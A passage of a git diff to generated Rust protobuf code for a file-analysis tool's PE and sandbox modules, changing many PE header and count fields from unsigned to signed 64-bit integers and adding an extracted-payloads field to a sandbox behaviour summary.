number_of_delayed_imports = 43; + // optional int64 number_of_delayed_imports = 43; - pub fn number_of_delayed_imports(&self) -> u64 { + pub fn number_of_delayed_imports(&self) -> i64 { self.number_of_delayed_imports.unwrap_or(0) } @@ -927,13 +927,13 @@ impl PE { } // Param is passed by value, moved - pub fn set_number_of_delayed_imports(&mut self, v: u64) { + pub fn set_number_of_delayed_imports(&mut self, v: i64) { self.number_of_delayed_imports = ::std::option::Option::Some(v); } - // optional uint64 number_of_exports = 44; + // optional int64 number_of_exports = 44; - pub fn number_of_exports(&self) -> u64 { + pub fn number_of_exports(&self) -> i64 { self.number_of_exports.unwrap_or(0) } @@ -946,13 +946,13 @@ impl PE { } // Param is passed by value, moved - pub fn set_number_of_exports(&mut self, v: u64) { + pub fn set_number_of_exports(&mut self, v: i64) { self.number_of_exports = ::std::option::Option::Some(v); } - // optional uint64 number_of_signatures = 45; + // optional int64 number_of_signatures = 45; - pub fn number_of_signatures(&self) -> u64 { + pub fn number_of_signatures(&self) -> i64 { self.number_of_signatures.unwrap_or(0) } @@ -965,7 +965,7 @@ impl PE { } // Param is passed by value, moved - pub fn set_number_of_signatures(&mut self, v: u64) { + pub fn set_number_of_signatures(&mut self, v: i64) { self.number_of_signatures = ::std::option::Option::Some(v); } @@ -1005,9 +1005,9 @@ impl PE { self.pdb_path.take().unwrap_or_else(|| ::std::vec::Vec::new()) } - // optional uint64 resource_timestamp = 52; + // optional int64 resource_timestamp = 52; - pub fn resource_timestamp(&self) -> u64 { + pub fn resource_timestamp(&self) -> i64 { self.resource_timestamp.unwrap_or(0) } @@ -1020,7 +1020,7 @@ impl PE { } // Param is passed by value, moved - pub fn set_resource_timestamp(&mut self, v: u64) { + pub fn set_resource_timestamp(&mut self, v: i64) { self.resource_timestamp = ::std::option::Option::Some(v); } @@ -1477,7 +1477,7 @@ impl ::protobuf::Message for PE { self.timestamp = ::std::option::Option::Some(is.read_uint32()?); }, 96 => { - self.image_base = ::std::option::Option::Some(is.read_uint64()?); + self.image_base = ::std::option::Option::Some(is.read_int64()?); }, 104 => { self.checksum = ::std::option::Option::Some(is.read_uint32()?); @@ -1528,16 +1528,16 @@ impl ::protobuf::Message for PE { self.size_of_headers = ::std::option::Option::Some(is.read_uint32()?); }, 232 => { - self.size_of_stack_reserve = ::std::option::Option::Some(is.read_uint64()?); + self.size_of_stack_reserve = ::std::option::Option::Some(is.read_int64()?); }, 240 => { - self.size_of_stack_commit = ::std::option::Option::Some(is.read_uint64()?); + self.size_of_stack_commit = ::std::option::Option::Some(is.read_int64()?); }, 248 => { - self.size_of_heap_reserve = ::std::option::Option::Some(is.read_uint64()?); + self.size_of_heap_reserve = ::std::option::Option::Some(is.read_int64()?); }, 256 => { - self.size_of_heap_commit = ::std::option::Option::Some(is.read_uint64()?); + self.size_of_heap_commit = ::std::option::Option::Some(is.read_int64()?); }, 264 => { self.pointer_to_symbol_table = ::std::option::Option::Some(is.read_uint32()?); @@ -1555,28 +1555,28 @@ impl ::protobuf::Message for PE { self.number_of_sections = ::std::option::Option::Some(is.read_uint32()?); }, 304 => { - self.number_of_imported_functions = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_imported_functions = ::std::option::Option::Some(is.read_int64()?); }, 312 => { - self.number_of_delayed_imported_functions = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_delayed_imported_functions = ::std::option::Option::Some(is.read_int64()?); }, 320 => { - self.number_of_resources = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_resources = ::std::option::Option::Some(is.read_int64()?); }, 328 => { - self.number_of_version_infos = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_version_infos = ::std::option::Option::Some(is.read_int64()?); }, 336 => { - self.number_of_imports = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_imports = ::std::option::Option::Some(is.read_int64()?); }, 344 => { - self.number_of_delayed_imports = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_delayed_imports = ::std::option::Option::Some(is.read_int64()?); }, 352 => { - self.number_of_exports = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_exports = ::std::option::Option::Some(is.read_int64()?); }, 360 => { - self.number_of_signatures = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_signatures = ::std::option::Option::Some(is.read_int64()?); }, 370 => { let len = is.read_raw_varint32()?; @@ -1609,7 +1609,7 @@ impl ::protobuf::Message for PE { self.data_directories.push(is.read_message()?); }, 416 => { - self.resource_timestamp = ::std::option::Option::Some(is.read_uint64()?); + self.resource_timestamp = ::std::option::Option::Some(is.read_int64()?); }, 426 => { ::protobuf::rt::read_singular_message_into_field(is, &mut self.resource_version)?; @@ -1685,7 +1685,7 @@ impl ::protobuf::Message for PE { my_size += ::protobuf::rt::uint32_size(11, v); } if let Some(v) = self.image_base { - my_size += ::protobuf::rt::uint64_size(12, v); + my_size += ::protobuf::rt::int64_size(12, v); } if let Some(v) = self.checksum { my_size += ::protobuf::rt::uint32_size(13, v); @@ -1736,16 +1736,16 @@ impl ::protobuf::Message for PE { my_size += ::protobuf::rt::uint32_size(28, v); } if let Some(v) = self.size_of_stack_reserve { - my_size += ::protobuf::rt::uint64_size(29, v); + my_size += ::protobuf::rt::int64_size(29, v); } if let Some(v) = self.size_of_stack_commit { - my_size += ::protobuf::rt::uint64_size(30, v); + my_size += ::protobuf::rt::int64_size(30, v); } if let Some(v) = self.size_of_heap_reserve { - my_size += ::protobuf::rt::uint64_size(31, v); + my_size += ::protobuf::rt::int64_size(31, v); } if let Some(v) = self.size_of_heap_commit { - my_size += ::protobuf::rt::uint64_size(32, v); + my_size += ::protobuf::rt::int64_size(32, v); } if let Some(v) = self.pointer_to_symbol_table { my_size += ::protobuf::rt::uint32_size(33, v); @@ -1763,28 +1763,28 @@ impl ::protobuf::Message for PE { my_size += ::protobuf::rt::uint32_size(37, v); } if let Some(v) = self.number_of_imported_functions { - my_size += ::protobuf::rt::uint64_size(38, v); + my_size += ::protobuf::rt::int64_size(38, v); } if let Some(v) = self.number_of_delayed_imported_functions { - my_size += ::protobuf::rt::uint64_size(39, v); + my_size += ::protobuf::rt::int64_size(39, v); } if let Some(v) = self.number_of_resources { - my_size += ::protobuf::rt::uint64_size(40, v); + my_size += ::protobuf::rt::int64_size(40, v); } if let Some(v) = self.number_of_version_infos { - my_size += ::protobuf::rt::uint64_size(41, v); + my_size += ::protobuf::rt::int64_size(41, v); } if let Some(v) = self.number_of_imports { - my_size += ::protobuf::rt::uint64_size(42, v); + my_size += ::protobuf::rt::int64_size(42, v); } if let Some(v) = self.number_of_delayed_imports { - my_size += ::protobuf::rt::uint64_size(43, v); + my_size += ::protobuf::rt::int64_size(43, v); } if let Some(v) = self.number_of_exports { - my_size += ::protobuf::rt::uint64_size(44, v); + my_size += ::protobuf::rt::int64_size(44, v); } if let Some(v) = self.number_of_signatures { - my_size += ::protobuf::rt::uint64_size(45, v); + my_size += ::protobuf::rt::int64_size(45, v); } for (k, v) in &self.version_info { let mut entry_size = 0; @@ -1812,7 +1812,7 @@ impl ::protobuf::Message for PE { my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(len) + len; }; if let Some(v) = self.resource_timestamp { - my_size += ::protobuf::rt::uint64_size(52, v); + my_size += ::protobuf::rt::int64_size(52, v); } if let Some(v) = self.resource_version.as_ref() { let len = v.compute_size(); @@ -1885,7 +1885,7 @@ impl ::protobuf::Message for PE { os.write_uint32(11, v)?; } if let Some(v) = self.image_base { - os.write_uint64(12, v)?; + os.write_int64(12, v)?; } if let Some(v) = self.checksum { os.write_uint32(13, v)?; @@ -1936,16 +1936,16 @@ impl ::protobuf::Message for PE { os.write_uint32(28, v)?; } if let Some(v) = self.size_of_stack_reserve { - os.write_uint64(29, v)?; + os.write_int64(29, v)?; } if let Some(v) = self.size_of_stack_commit { - os.write_uint64(30, v)?; + os.write_int64(30, v)?; } if let Some(v) = self.size_of_heap_reserve { - os.write_uint64(31, v)?; + os.write_int64(31, v)?; } if let Some(v) = self.size_of_heap_commit { - os.write_uint64(32, v)?; + os.write_int64(32, v)?; } if let Some(v) = self.pointer_to_symbol_table { os.write_uint32(33, v)?; @@ -1963,28 +1963,28 @@ impl ::protobuf::Message for PE { os.write_uint32(37, v)?; } if let Some(v) = self.number_of_imported_functions { - os.write_uint64(38, v)?; + os.write_int64(38, v)?; } if let Some(v) = self.number_of_delayed_imported_functions { - os.write_uint64(39, v)?; + os.write_int64(39, v)?; } if let Some(v) = self.number_of_resources { - os.write_uint64(40, v)?; + os.write_int64(40, v)?; } if let Some(v) = self.number_of_version_infos { - os.write_uint64(41, v)?; + os.write_int64(41, v)?; } if let Some(v) = self.number_of_imports { - os.write_uint64(42, v)?; + os.write_int64(42, v)?; } if let Some(v) = self.number_of_delayed_imports { - os.write_uint64(43, v)?; + os.write_int64(43, v)?; } if let Some(v) = self.number_of_exports { - os.write_uint64(44, v)?; + os.write_int64(44, v)?; } if let Some(v) = self.number_of_signatures { - os.write_uint64(45, v)?; + os.write_int64(45, v)?; } for (k, v) in &self.version_info { let mut entry_size = 0; @@ -2011,7 +2011,7 @@ impl ::protobuf::Message for PE { ::protobuf::rt::write_message_field_with_cached_size(51, v, os)?; }; if let Some(v) = self.resource_timestamp { - os.write_uint64(52, v)?; + os.write_int64(52, v)?; } if let Some(v) = self.resource_version.as_ref() { ::protobuf::rt::write_message_field_with_cached_size(53, v, os)?; @@ -3230,7 +3230,7 @@ pub struct Import { // @@protoc_insertion_point(field:pe.Import.library_name) pub library_name: ::std::option::Option<::std::string::String>, // @@protoc_insertion_point(field:pe.Import.number_of_functions) - pub number_of_functions: ::std::option::Option, + pub number_of_functions: ::std::option::Option, // @@protoc_insertion_point(field:pe.Import.functions) pub functions: ::std::vec::Vec, // special fields @@ -3285,9 +3285,9 @@ impl Import { self.library_name.take().unwrap_or_else(|| ::std::string::String::new()) } - // required uint64 number_of_functions = 2; + // required int64 number_of_functions = 2; - pub fn number_of_functions(&self) -> u64 { + pub fn number_of_functions(&self) -> i64 { self.number_of_functions.unwrap_or(0) } @@ -3300,7 +3300,7 @@ impl Import { } // Param is passed by value, moved - pub fn set_number_of_functions(&mut self, v: u64) { + pub fn set_number_of_functions(&mut self, v: i64) { self.number_of_functions = ::std::option::Option::Some(v); } @@ -3355,7 +3355,7 @@ impl ::protobuf::Message for Import { self.library_name = ::std::option::Option::Some(is.read_string()?); }, 16 => { - self.number_of_functions = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_functions = ::std::option::Option::Some(is.read_int64()?); }, 26 => { self.functions.push(is.read_message()?); @@ -3376,7 +3376,7 @@ impl ::protobuf::Message for Import { my_size += ::protobuf::rt::string_size(1, &v); } if let Some(v) = self.number_of_functions { - my_size += ::protobuf::rt::uint64_size(2, v); + my_size += ::protobuf::rt::int64_size(2, v); } for value in &self.functions { let len = value.compute_size(); @@ -3392,7 +3392,7 @@ impl ::protobuf::Message for Import { os.write_string(1, v)?; } if let Some(v) = self.number_of_functions { - os.write_uint64(2, v)?; + os.write_int64(2, v)?; } for v in &self.functions { ::protobuf::rt::write_message_field_with_cached_size(3, v, os)?; @@ -4043,9 +4043,9 @@ pub struct Signature { // @@protoc_insertion_point(field:pe.Signature.file_digest) pub file_digest: ::std::option::Option<::std::string::String>, // @@protoc_insertion_point(field:pe.Signature.number_of_certificates) - pub number_of_certificates: ::std::option::Option, + pub number_of_certificates: ::std::option::Option, // @@protoc_insertion_point(field:pe.Signature.number_of_countersignatures) - pub number_of_countersignatures: ::std::option::Option, + pub number_of_countersignatures: ::std::option::Option, // @@protoc_insertion_point(field:pe.Signature.signer_info) pub signer_info: ::protobuf::MessageField, // @@protoc_insertion_point(field:pe.Signature.certificates) @@ -4468,9 +4468,9 @@ impl Signature { self.file_digest.take().unwrap_or_else(|| ::std::string::String::new()) } - // optional uint64 number_of_certificates = 14; + // optional int64 number_of_certificates = 14; - pub fn number_of_certificates(&self) -> u64 { + pub fn number_of_certificates(&self) -> i64 { self.number_of_certificates.unwrap_or(0) } @@ -4483,13 +4483,13 @@ impl Signature { } // Param is passed by value, moved - pub fn set_number_of_certificates(&mut self, v: u64) { + pub fn set_number_of_certificates(&mut self, v: i64) { self.number_of_certificates = ::std::option::Option::Some(v); } - // optional uint64 number_of_countersignatures = 15; + // optional int64 number_of_countersignatures = 15; - pub fn number_of_countersignatures(&self) -> u64 { + pub fn number_of_countersignatures(&self) -> i64 { self.number_of_countersignatures.unwrap_or(0) } @@ -4502,7 +4502,7 @@ impl Signature { } // Param is passed by value, moved - pub fn set_number_of_countersignatures(&mut self, v: u64) { + pub fn set_number_of_countersignatures(&mut self, v: i64) { self.number_of_countersignatures = ::std::option::Option::Some(v); } @@ -4657,10 +4657,10 @@ impl ::protobuf::Message for Signature { self.file_digest = ::std::option::Option::Some(is.read_string()?); }, 112 => { - self.number_of_certificates = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_certificates = ::std::option::Option::Some(is.read_int64()?); }, 120 => { - self.number_of_countersignatures = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_countersignatures = ::std::option::Option::Some(is.read_int64()?); }, 130 => { ::protobuf::rt::read_singular_message_into_field(is, &mut self.signer_info)?; @@ -4723,10 +4723,10 @@ impl ::protobuf::Message for Signature { my_size += ::protobuf::rt::string_size(13, &v); } if let Some(v) = self.number_of_certificates { - my_size += ::protobuf::rt::uint64_size(14, v); + my_size += ::protobuf::rt::int64_size(14, v); } if let Some(v) = self.number_of_countersignatures { - my_size += ::protobuf::rt::uint64_size(15, v); + my_size += ::protobuf::rt::int64_size(15, v); } if let Some(v) = self.signer_info.as_ref() { let len = v.compute_size(); @@ -4786,10 +4786,10 @@ impl ::protobuf::Message for Signature { os.write_string(13, v)?; } if let Some(v) = self.number_of_certificates { - os.write_uint64(14, v)?; + os.write_int64(14, v)?; } if let Some(v) = self.number_of_countersignatures { - os.write_uint64(15, v)?; + os.write_int64(15, v)?; } if let Some(v) = self.signer_info.as_ref() { ::protobuf::rt::write_message_field_with_cached_size(16, v, os)?; @@ -7233,9 +7233,9 @@ impl ::protobuf::reflect::ProtobufValue for RichTool { pub struct Overlay { // message fields // @@protoc_insertion_point(field:pe.Overlay.offset) - pub offset: ::std::option::Option, + pub offset: ::std::option::Option, // @@protoc_insertion_point(field:pe.Overlay.size) - pub size: ::std::option::Option, + pub size: ::std::option::Option, // special fields // @@protoc_insertion_point(special_field:pe.Overlay.special_fields) pub special_fields: ::protobuf::SpecialFields, @@ -7252,9 +7252,9 @@ impl Overlay { ::std::default::Default::default() } - // required uint64 offset = 1; + // required int64 offset = 1; - pub fn offset(&self) -> u64 { + pub fn offset(&self) -> i64 { self.offset.unwrap_or(0) } @@ -7267,13 +7267,13 @@ impl Overlay { } // Param is passed by value, moved - pub fn set_offset(&mut self, v: u64) { + pub fn set_offset(&mut self, v: i64) { self.offset = ::std::option::Option::Some(v); } - // required uint64 size = 2; + // required int64 size = 2; - pub fn size(&self) -> u64 { + pub fn size(&self) -> i64 { self.size.unwrap_or(0) } @@ -7286,7 +7286,7 @@ impl Overlay { } // Param is passed by value, moved - pub fn set_size(&mut self, v: u64) { + pub fn set_size(&mut self, v: i64) { self.size = ::std::option::Option::Some(v); } @@ -7328,10 +7328,10 @@ impl ::protobuf::Message for Overlay { while let Some(tag) = is.read_raw_tag_or_eof()? { match tag { 8 => { - self.offset = ::std::option::Option::Some(is.read_uint64()?); + self.offset = ::std::option::Option::Some(is.read_int64()?); }, 16 => { - self.size = ::std::option::Option::Some(is.read_uint64()?); + self.size = ::std::option::Option::Some(is.read_int64()?); }, tag => { ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; @@ -7346,10 +7346,10 @@ impl ::protobuf::Message for Overlay { fn compute_size(&self) -> u64 { let mut my_size = 0; if let Some(v) = self.offset { - my_size += ::protobuf::rt::uint64_size(1, v); + my_size += ::protobuf::rt::int64_size(1, v); } if let Some(v) = self.size { - my_size += ::protobuf::rt::uint64_size(2, v); + my_size += ::protobuf::rt::int64_size(2, v); } my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); self.special_fields.cached_size().set(my_size as u32); @@ -7358,10 +7358,10 @@ impl ::protobuf::Message for Overlay { fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { if let Some(v) = self.offset { - os.write_uint64(1, v)?; + os.write_int64(1, v)?; } if let Some(v) = self.size { - os.write_uint64(2, v)?; + os.write_int64(2, v)?; } os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) @@ -8851,7 +8851,7 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \x15flags:Characteristics\x12O\n\x13dll_characteristics\x18\n\x20\x01(\r\ R\x12dllCharacteristicsB\x1e\x82\x93\x19\x1a*\x18flags:DllCharacteristic\ s\x12%\n\ttimestamp\x18\x0b\x20\x01(\rR\ttimestampB\x07\x82\x93\x19\x03*\ - \x01t\x12&\n\nimage_base\x18\x0c\x20\x01(\x04R\timageBaseB\x07\x82\x93\ + \x01t\x12&\n\nimage_base\x18\x0c\x20\x01(\x03R\timageBaseB\x07\x82\x93\ \x19\x03*\x01x\x12\x1a\n\x08checksum\x18\r\x20\x01(\rR\x08checksum\x12)\ \n\x0cbase_of_code\x18\x0e\x20\x01(\rR\nbaseOfCodeB\x07\x82\x93\x19\x03*\ \x01x\x12)\n\x0cbase_of_data\x18\x0f\x20\x01(\rR\nbaseOfDataB\x07\x82\ @@ -8872,11 +8872,11 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \x03*\x01x\x12+\n\rsize_of_image\x18\x1b\x20\x01(\rR\x0bsizeOfImageB\x07\ \x82\x93\x19\x03*\x01x\x12/\n\x0fsize_of_headers\x18\x1c\x20\x01(\rR\rsi\ zeOfHeadersB\x07\x82\x93\x19\x03*\x01x\x12:\n\x15size_of_stack_reserve\ - \x18\x1d\x20\x01(\x04R\x12sizeOfStackReserveB\x07\x82\x93\x19\x03*\x01x\ - \x128\n\x14size_of_stack_commit\x18\x1e\x20\x01(\x04R\x11sizeOfStackComm\ + \x18\x1d\x20\x01(\x03R\x12sizeOfStackReserveB\x07\x82\x93\x19\x03*\x01x\ + \x128\n\x14size_of_stack_commit\x18\x1e\x20\x01(\x03R\x11sizeOfStackComm\ itB\x07\x82\x93\x19\x03*\x01x\x128\n\x14size_of_heap_reserve\x18\x1f\x20\ - \x01(\x04R\x11sizeOfHeapReserveB\x07\x82\x93\x19\x03*\x01x\x126\n\x13siz\ - e_of_heap_commit\x18\x20\x20\x01(\x04R\x10sizeOfHeapCommitB\x07\x82\x93\ + \x01(\x03R\x11sizeOfHeapReserveB\x07\x82\x93\x19\x03*\x01x\x126\n\x13siz\ + e_of_heap_commit\x18\x20\x20\x01(\x03R\x10sizeOfHeapCommitB\x07\x82\x93\ \x19\x03*\x01x\x12>\n\x17pointer_to_symbol_table\x18!\x20\x01(\rR\x14poi\ nterToSymbolTableB\x07\x82\x93\x19\x03*\x01x\x12.\n\x13win32_version_val\ ue\x18\"\x20\x01(\rR\x11win32VersionValue\x12*\n\x11number_of_symbols\ @@ -8885,16 +8885,16 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \x18%\x20\x01(\rR\x10numberOfSectionsBQ\x82\x93\x19M2K\n\x18this\x20fiel\ d\x20is\x20deprecated\x12\x1fuse\x20`pe.sections.len()`\x20instead\x1a\ \x0esections.len()\x12?\n\x1cnumber_of_imported_functions\x18&\x20\x01(\ - \x04R\x19numberOfImportedFunctions\x12N\n$number_of_delayed_imported_fun\ - ctions\x18'\x20\x01(\x04R\x20numberOfDelayedImportedFunctions\x12\x83\ - \x01\n\x13number_of_resources\x18(\x20\x01(\x04R\x11numberOfResourcesBS\ + \x03R\x19numberOfImportedFunctions\x12N\n$number_of_delayed_imported_fun\ + ctions\x18'\x20\x01(\x03R\x20numberOfDelayedImportedFunctions\x12\x83\ + \x01\n\x13number_of_resources\x18(\x20\x01(\x03R\x11numberOfResourcesBS\ \x82\x93\x19O2M\n\x18this\x20field\x20is\x20deprecated\x12\x20use\x20`pe\ .resources.len()`\x20instead\x1a\x0fresources.len()\x125\n\x17number_of_\ - version_infos\x18)\x20\x01(\x04R\x14numberOfVersionInfos\x12*\n\x11numbe\ - r_of_imports\x18*\x20\x01(\x04R\x0fnumberOfImports\x129\n\x19number_of_d\ - elayed_imports\x18+\x20\x01(\x04R\x16numberOfDelayedImports\x12*\n\x11nu\ - mber_of_exports\x18,\x20\x01(\x04R\x0fnumberOfExports\x12\x87\x01\n\x14n\ - umber_of_signatures\x18-\x20\x01(\x04R\x12numberOfSignaturesBU\x82\x93\ + version_infos\x18)\x20\x01(\x03R\x14numberOfVersionInfos\x12*\n\x11numbe\ + r_of_imports\x18*\x20\x01(\x03R\x0fnumberOfImports\x129\n\x19number_of_d\ + elayed_imports\x18+\x20\x01(\x03R\x16numberOfDelayedImports\x12*\n\x11nu\ + mber_of_exports\x18,\x20\x01(\x03R\x0fnumberOfExports\x12\x87\x01\n\x14n\ + umber_of_signatures\x18-\x20\x01(\x03R\x12numberOfSignaturesBU\x82\x93\ \x19Q2O\n\x18this\x20field\x20is\x20deprecated\x12!use\x20`pe.signatures\ .len()`\x20instead\x1a\x10signatures.len()\x12:\n\x0cversion_info\x18.\ \x20\x03(\x0b2\x17.pe.PE.VersionInfoEntryR\x0bversionInfo\x128\n\x11vers\ @@ -8903,7 +8903,7 @@ static file_descriptor_proto_data: &'static [u8] = b"\ ature\x12\x19\n\x08pdb_path\x181\x20\x01(\x0cR\x07pdbPath\x12'\n\x08sect\ ions\x182\x20\x03(\x0b2\x0b.pe.SectionR\x08sections\x127\n\x10data_direc\ tories\x183\x20\x03(\x0b2\x0c.pe.DirEntryR\x0fdataDirectories\x126\n\x12\ - resource_timestamp\x184\x20\x01(\x04R\x11resourceTimestampB\x07\x82\x93\ + resource_timestamp\x184\x20\x01(\x03R\x11resourceTimestampB\x07\x82\x93\ \x19\x03*\x01t\x126\n\x10resource_version\x185\x20\x01(\x0b2\x0b.pe.Vers\ ionR\x0fresourceVersion\x12*\n\tresources\x186\x20\x03(\x0b2\x0c.pe.Reso\ urceR\tresources\x121\n\x0eimport_details\x187\x20\x03(\x0b2\n.pe.Import\ @@ -8929,7 +8929,7 @@ static file_descriptor_proto_data: &'static [u8] = b"\ eString\x12\x1f\n\x0bname_string\x18\x08\x20\x01(\x0cR\nnameString\x12'\ \n\x0flanguage_string\x18\t\x20\x01(\x0cR\x0elanguageString\"\x87\x01\n\ \x06Import\x12!\n\x0clibrary_name\x18\x01\x20\x02(\tR\x0blibraryName\x12\ - .\n\x13number_of_functions\x18\x02\x20\x02(\x04R\x11numberOfFunctions\ + .\n\x13number_of_functions\x18\x02\x20\x02(\x03R\x11numberOfFunctions\ \x12*\n\tfunctions\x18\x03\x20\x03(\x0b2\x0c.pe.FunctionR\tfunctions\"\ \x95\x01\n\x06Export\x12\x12\n\x04name\x18\x01\x20\x01(\tR\x04name\x12\ \x18\n\x07ordinal\x18\x02\x20\x02(\rR\x07ordinal\x12\x19\n\x03rva\x18\ @@ -8949,8 +8949,8 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \x1a\n\x08verified\x18\n\x20\x01(\x08R\x08verified\x12\x1d\n\ndigest_alg\ \x18\x0b\x20\x01(\tR\tdigestAlg\x12\x16\n\x06digest\x18\x0c\x20\x01(\tR\ \x06digest\x12\x1f\n\x0bfile_digest\x18\r\x20\x01(\tR\nfileDigest\x124\n\ - \x16number_of_certificates\x18\x0e\x20\x01(\x04R\x14numberOfCertificates\ - \x12>\n\x1bnumber_of_countersignatures\x18\x0f\x20\x01(\x04R\x19numberOf\ + \x16number_of_certificates\x18\x0e\x20\x01(\x03R\x14numberOfCertificates\ + \x12>\n\x1bnumber_of_countersignatures\x18\x0f\x20\x01(\x03R\x19numberOf\ Countersignatures\x12/\n\x0bsigner_info\x18\x10\x20\x01(\x0b2\x0e.pe.Sig\ nerInfoR\nsignerInfo\x123\n\x0ccertificates\x18\x11\x20\x03(\x0b2\x0f.pe\ .CertificateR\x0ccertificates\x12B\n\x11countersignatures\x18\x12\x20\ @@ -8993,8 +8993,8 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \x06\x20\x03(\x0b2\x0c.pe.RichToolR\x05tools\"R\n\x08RichTool\x12\x16\n\ \x06toolid\x18\x01\x20\x02(\rR\x06toolid\x12\x18\n\x07version\x18\x02\ \x20\x02(\rR\x07version\x12\x14\n\x05times\x18\x03\x20\x02(\rR\x05times\ - \"G\n\x07Overlay\x12\x1f\n\x06offset\x18\x01\x20\x02(\x04R\x06offsetB\ - \x07\x82\x93\x19\x03*\x01x\x12\x1b\n\x04size\x18\x02\x20\x02(\x04R\x04si\ + \"G\n\x07Overlay\x12\x1f\n\x06offset\x18\x01\x20\x02(\x03R\x06offsetB\ + \x07\x82\x93\x19\x03*\x01x\x12\x1b\n\x04size\x18\x02\x20\x02(\x03R\x04si\ zeB\x07\x82\x93\x19\x03*\x01x*\xd0\x04\n\x0cResourceType\x12\x18\n\x14RE\ SOURCE_TYPE_CURSOR\x10\x01\x12\x18\n\x14RESOURCE_TYPE_BITMAP\x10\x02\x12\ \x16\n\x12RESOURCE_TYPE_ICON\x10\x03\x12\x16\n\x12RESOURCE_TYPE_MENU\x10\ diff --git a/lib/src/modules/protos/generated/sandbox.rs b/lib/src/modules/protos/generated/sandbox.rs index de9c5bb0e..b364882f7 100644 --- a/lib/src/modules/protos/generated/sandbox.rs +++ b/lib/src/modules/protos/generated/sandbox.rs @@ -40,6 +40,8 @@ pub struct BehaviourSummary { pub files_attribute_changed: ::std::vec::Vec<::std::string::String>, // @@protoc_insertion_point(field:vt.fileanalysis.BehaviourSummary.files_dropped) pub files_dropped: ::std::vec::Vec, + // @@protoc_insertion_point(field:vt.fileanalysis.BehaviourSummary.payloads_extracted) + pub payloads_extracted: ::std::vec::Vec, // @@protoc_insertion_point(field:vt.fileanalysis.BehaviourSummary.hosts_file) pub hosts_file: ::std::string::String, // @@protoc_insertion_point(field:vt.fileanalysis.BehaviourSummary.processes_list) @@ -179,7 +181,7 @@ impl BehaviourSummary { } fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { - let mut fields = ::std::vec::Vec::with_capacity(67); + let mut fields = ::std::vec::Vec::with_capacity(68); let mut oneofs = ::std::vec::Vec::with_capacity(0); fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( "files_opened", @@ -211,6 +213,11 @@ impl BehaviourSummary { |m: &BehaviourSummary| { &m.files_dropped }, |m: &mut BehaviourSummary| { &mut m.files_dropped }, )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "payloads_extracted", + |m: &BehaviourSummary| { &m.payloads_extracted }, + |m: &mut BehaviourSummary| { &mut m.payloads_extracted }, + )); fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( "hosts_file", |m: &BehaviourSummary| { &m.hosts_file }, @@ -552,6 +559,9 @@ impl ::protobuf::Message for BehaviourSummary { 50 => { self.files_dropped.push(is.read_message()?); }, + 674 => { + self.payloads_extracted.push(is.read_message()?); + }, 58 => { self.hosts_file = is.read_string()?; }, @@ -773,6 +783,10 @@ impl ::protobuf::Message for BehaviourSummary { let len = value.compute_size(); my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; }; + for value in &self.payloads_extracted { + let len = value.compute_size(); + my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; if !self.hosts_file.is_empty() { my_size += ::protobuf::rt::string_size(7, &self.hosts_file); } @@ -993,6 +1007,9 @@ impl ::protobuf::Message for BehaviourSummary { for v in &self.files_dropped { ::protobuf::rt::write_message_field_with_cached_size(6, v, os)?; }; + for v in &self.payloads_extracted { + ::protobuf::rt::write_message_field_with_cached_size(84, v, os)?; + }; if !self.hosts_file.is_empty() { os.write_string(7, &self.hosts_file)?; } @@ -1195,6 +1212,7 @@ impl ::protobuf::Message for BehaviourSummary { self.files_copied.clear(); self.files_attribute_changed.clear(); self.files_dropped.clear(); + self.payloads_extracted.clear(); self.hosts_file.clear(); self.processes_list.clear(); self.processes_created.clear(); @@ -1267,6 +1285,7 @@ impl ::protobuf::Message for BehaviourSummary { files_copied: ::std::vec::Vec::new(), files_attribute_changed: ::std::vec::Vec::new(), files_dropped: ::std::vec::Vec::new(), + payloads_extracted: ::std::vec::Vec::new(), hosts_file: ::std::string::String::new(), processes_list: ::std::vec::Vec::new(), processes_created: ::std::vec::Vec::new(), @@ -2000,6 +2019,219 @@ impl ::protobuf::reflect::ProtobufValue for DroppedFile { type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; } +// @@protoc_insertion_point(message:vt.fileanalysis.ExtractedPayload) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct ExtractedPayload { + // message fields + // @@protoc_insertion_point(field:vt.fileanalysis.ExtractedPayload.sha256) + pub sha256: ::std::string::String, + // @@protoc_insertion_point(field:vt.fileanalysis.ExtractedPayload.type) + pub type_: ::protobuf::EnumOrUnknown, + // @@protoc_insertion_point(field:vt.fileanalysis.ExtractedPayload.size) + pub size: u64, + // @@protoc_insertion_point(field:vt.fileanalysis.ExtractedPayload.payload_type) + pub payload_type: ::std::string::String, + // @@protoc_insertion_point(field:vt.fileanalysis.ExtractedPayload.process_name) + pub process_name: ::std::string::String, + // @@protoc_insertion_point(field:vt.fileanalysis.ExtractedPayload.timestamp) + pub timestamp: ::protobuf::MessageField<::protobuf::well_known_types::timestamp::Timestamp>, + // special fields + // @@protoc_insertion_point(special_field:vt.fileanalysis.ExtractedPayload.special_fields) + pub special_fields: 